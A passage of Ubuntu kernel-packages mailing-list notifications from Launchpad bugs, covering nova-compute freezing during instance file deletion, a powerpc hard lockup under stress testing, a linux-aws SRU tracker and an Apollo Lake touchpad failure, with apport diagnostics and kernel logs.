errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg:
[Kernel-packages] [Bug 1782176] Re: linux-aws: 4.15.0-1016.16 -proposed tracker
** Changed in: kernel-sru-workflow/snap-release-to-beta Status: Confirmed => Invalid ** Changed in: kernel-sru-workflow/snap-release-to-candidate Status: Confirmed => Invalid ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: Confirmed => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1782176 Title: linux-aws: 4.15.0-1016.16 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: Fix Released Status in Kernel SRU Workflow promote-to-updates series: Fix Released Status in Kernel SRU Workflow regression-testing series: Invalid Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow snap-release-to-beta series: Invalid Status in Kernel SRU Workflow snap-release-to-candidate series: Invalid Status in Kernel SRU Workflow snap-release-to-edge series: Invalid Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Bionic: Fix Released Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1782173 phase: Released proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1782176/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1766543] ProcModules.txt
apport information ** Attachment added: "ProcModules.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168126/+files/ProcModules.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1766543] ProcMisc.txt
apport information ** Attachment added: "ProcMisc.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168125/+files/ProcMisc.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1766543] ProcPpc64.tar.gz
apport information ** Attachment added: "ProcPpc64.tar.gz" https://bugs.launchpad.net/bugs/1766543/+attachment/5168127/+files/ProcPpc64.tar.gz -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcFB: ProcKernelCmdLine: root=UUID=bf574d52-09d7-4c9d-beb8-ccc542d50654 ro console=tty0 console=ttyS1,115200 panic=30 raid=noautodetect ProcLoadAvg: 10.43 10.79 9.76 11/2237 15123 ProcSwaps: Filename TypeSizeUsedPriority /swap.img file 8388544 0 -1 ProcVersion: Linux version 4.4.0-128-generic (buildd@bos02-ppc64el-001) (gcc version 5.4.0 20160609 (Ubuntu/IBM 5.4.0-6ubuntu1~16.04.9) ) #154-Ubuntu SMP Fri May 25 14:13:59 UTC 2018 ProcVersionSignature: Ubuntu 4.4.0-128.154-generic 4.4.131 RelatedPackageVersions: linux-restricted-modules-4.4.0-128-generic N/A linux-backports-modules-4.4.0-128-generic N/A linux-firmware 1.157.20 RfKill: Error: [Errno 2] No such file or directory Tags: xenial uec-images xenial uec-images xenial uec-images Uname: Linux 4.4.0-128-generic ppc64le UnreportableReason: The report belongs to a package that is not installed. UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: False cpu_cores: Number of cores present = 20 cpu_coreson: Number of cores online = 20 cpu_dscr: DSCR is 0 cpu_freq: min: 1.201 GHz (cpu 48) max: 3.710 GHz (cpu 112) avg: 2.615 GHz cpu_runmode: Could not retrieve current
[Kernel-packages] [Bug 1777194] Re: Hard LOCKUP observed on stressing Ubuntu 18 04
Yes, it would probably be best to open a new bug, so we can track the new lockup separately. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1777194 Title: Hard LOCKUP observed on stressing Ubuntu 18 04 Status in The Ubuntu-power-systems project: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: == SRU Justification == IBM has seen hard lockups when running stress tests against Bionic. These test sometimes lead to rcu_stalls. IBM found that this bug is resolved with commits 6bed3237624e and ac61c1156623. == Fixes == 6bed3237624e ("powerpc: use NMI IPI for smp_send_stop") ac61c1156623 ("powerpc: Fix smp_send_stop NMI IPI handling") == Regression Potential == Low. Limited to powerpc. == Test Case == A test kernel was built with these patches and tested by the original bug reporter. The bug reporter states the test kernel resolved the bug. --Problem Description-- Hard LOCKUP on stressing Ubuntu 18 04 ---Issue observed--- Hard LOCKUP on stressing Ubuntu 18 04 using Ubuntu 18 04, sometimes leads to rcu_stalls. Apr 17 00:00:23 lep8d kernel: [ 4309.786755] Watchdog CPU:3 Hard LOCKUP Apr 17 00:00:23 lep8d kernel: [ 4309.786759] Modules linked in: algif_rng salsa20_generic userio camellia_generic cast6_generic cast_common snd_seq snd_seq_device snd_timer snd soundcore vhost_net serpent_generic tap twofish_generic twofish_common vhost_vsock vmw_vsock_virtio_transport_common vhost vsock lrw unix_diag algif_skcipher cuse sctp tgr192 wp512 rmd320 rmd256 rmd160 hci_vhci rmd128 bluetooth ecdh_generic dccp_ipv4 md4 uhid hid algif_hash dccp af_alg xt_CHECKSUM iptable_mangle ipt_MASQUERADE nf_nat_masquerade_ipv4 iptable_nat nf_nat_ipv4 nf_nat nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack libcrc32c ipt_REJECT nf_reject_ipv4 xt_tcpudp bridge stp llc ebtable_filter ebtables devlink ip6table_filter ip6_tables iptable_filter kvm_hv kvm binfmt_misc uio_pdrv_genirq uio vmx_crypto ibmpowernv powernv_op_panel ipmi_powernv Apr 17 00:00:23 lep8d kernel: [ 4309.786899] ipmi_devintf ipmi_msghandler powernv_rng leds_powernv crct10dif_vpmsum sch_fq_codel ip_tables x_tables autofs4 ses enclosure scsi_transport_sas btrfs xor zstd_compress raid6_pq uas usb_storage crc32c_vpmsum tg3 ipr Apr 17 00:00:23 lep8d kernel: [ 4309.786944] CPU: 3 PID: 28361 Comm: stress-ng-hrtim Not tainted 4.15.0-15-generic #16-Ubuntu Apr 17 00:00:23 lep8d kernel: [ 4309.786950] NIP: c0d0c8b8 LR: c0120dbc CTR: c0024480 Apr 17 00:00:23 lep8d kernel: [ 4309.786956] REGS: c7f7fd80 TRAP: 0900 Not tainted (4.15.0-15-generic) Apr 17 00:00:23 lep8d kernel: [ 4309.786957] MSR: 90009033 CR: 28000442 XER: 2000 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] CFAR: c0120db8 SOFTE: 0 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR00: c0120dbc c02d51377ba0 c16eb400 c02d512b0f88 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR04: 0001 01f40668 0001 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR08: 0001 8003 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR12: c0024480 c7a22100 000186a0 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR16: 7fffed3687e0 0abda98e5db8 8005 00040100 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR20: 418004fc 003c 0843 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR24: c02d512b0f88 c02d51377d30 c02d52d47c00 Apr 17 00:00:23 lep8d kernel: [ 4309.786972] GPR28: c02d51377d50 c02d51377d50 c02d52f04500 c02d512b0f88 Apr 17 00:00:23 lep8d kernel: [ 4309.787035] NIP [c0d0c8b8] _raw_spin_lock+0x38/0xe0 Apr 17 00:00:23 lep8d kernel: [ 4309.787045] LR [c0120dbc] dequeue_signal+0xcc/0x260 Apr 17 00:00:23 lep8d kernel: [ 4309.787046] Call Trace: Apr 17 00:00:23 lep8d kernel: [ 4309.787052] [c02d51377bd0] [c0120dac] dequeue_signal+0xbc/0x260 Apr 17 00:00:23 lep8d kernel: [ 4309.787059] [c02d51377c20] [c012459c] get_signal+0x13c/0x7a0 Apr 17 00:00:23 lep8d kernel: [ 4309.787066] [c02d51377d10] [c001dacc] do_signal+0x7c/0x2c0 Apr 17 00:00:23 lep8d kernel: [ 4309.787072] [c02d51377e00] [c001deb0] do_notify_resume+0xd0/0x100 Apr 17 00:00:23 lep8d kernel: [ 4309.787083] [c02d51377e30] [c000b7c4] ret_from_except_lite+0x70/0x74 Apr 17 00:00:23 lep8d kernel: [ 4309.787085] Instruction dump: Apr 17 00:00:23 lep8d kernel: [ 4309.787090] 7c0802a6 6000 fbe1fff8 f821ffd1 7c7f1b78 3940 994d028c 814d0008 Apr
[Kernel-packages] [Bug 1728244] Re: Touchpad stops working after reboot on Apollo Lake
I have a Yepo 737A, when i use linux-modules- extra-4.17.0-1-generic_4.17.0-1.2~lp1728244_amd64.deb, i can use WIFI, i have a error when i want to connetc to my SSID An idea? -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1728244 Title: Touchpad stops working after reboot on Apollo Lake Status in Linux: Unknown Status in linux package in Ubuntu: Triaged Bug description: On the Jumper EZBook 3 Pro (V4) laptop, using an Apollo Lake N3450 processor, if you install Ubuntu 17.10 (or less) with isorespin and use rEFInd as bootloader (this is the only way to get linux booting on this laptop) everything works out of the box, but after a reboot or two the touchpad stops working. Both in Ubuntu and Windows 10. The only way to restore functionality is to boot from usb key ubuntu 17.10 respined, or disassemble laptop and detach-reattach battery cable. This is mesg | grep i2c_hid: [ 2056.460636] i2c_hid i2c-SYNA3602:00: i2c_hid_get_input: incomplete report (27/34) [ 3077.604699] i2c_hid i2c-SYNA3602:00: failed to reset device. [ 3077.605473] dpm_run_callback(): i2c_hid_resume+0x0/0xe0 [i2c_hid] returns -61 [ 3080.468156] i2c_hid i2c-SYNA3602:00: i2c_hid_get_input: incomplete report (27/34) uname -rvps Linux 4.10.0-32-generic #36~16.04.1-Ubuntu SMP Wed Aug 9 09:19:02 UTC 2017 x86_64 There has to be a bug in the kernel. Any way to avoid this? To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1728244/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782176] Re: linux-aws: 4.15.0-1016.16 -proposed tracker
** Changed in: kernel-sru-workflow/snap-release-to-beta Status: Invalid => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-candidate Status: Invalid => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: Invalid => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1782176 Title: linux-aws: 4.15.0-1016.16 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: Fix Released Status in Kernel SRU Workflow promote-to-updates series: Fix Released Status in Kernel SRU Workflow regression-testing series: Invalid Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow snap-release-to-beta series: Confirmed Status in Kernel SRU Workflow snap-release-to-candidate series: Confirmed Status in Kernel SRU Workflow snap-release-to-edge series: Confirmed Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Bionic: Fix Released Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1782173 phase: Released proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1782176/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1766543] HookError_powerpc.txt
apport information ** Attachment added: "HookError_powerpc.txt" https://bugs.launchpad.net/bugs/1766543/+attachment/5168119/+files/HookError_powerpc.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Confirmed Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks --- AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Jun 23 14:23 seq crw-rw 1 root audio 116, 33 Jun 23 14:23 timer AplayDevices: Error: [Errno 2] No such file or directory ApportVersion: 2.20.1-0ubuntu2.18 Architecture: ppc64el ArecordDevices: Error: [Errno 2] No such file or directory AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: DistroRelease: Ubuntu 16.04 IwConfig: Error: [Errno 2] No such file or directory Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Package: nova (not installed) PciMultimedia: ProcEnviron: TERM=screen-256color 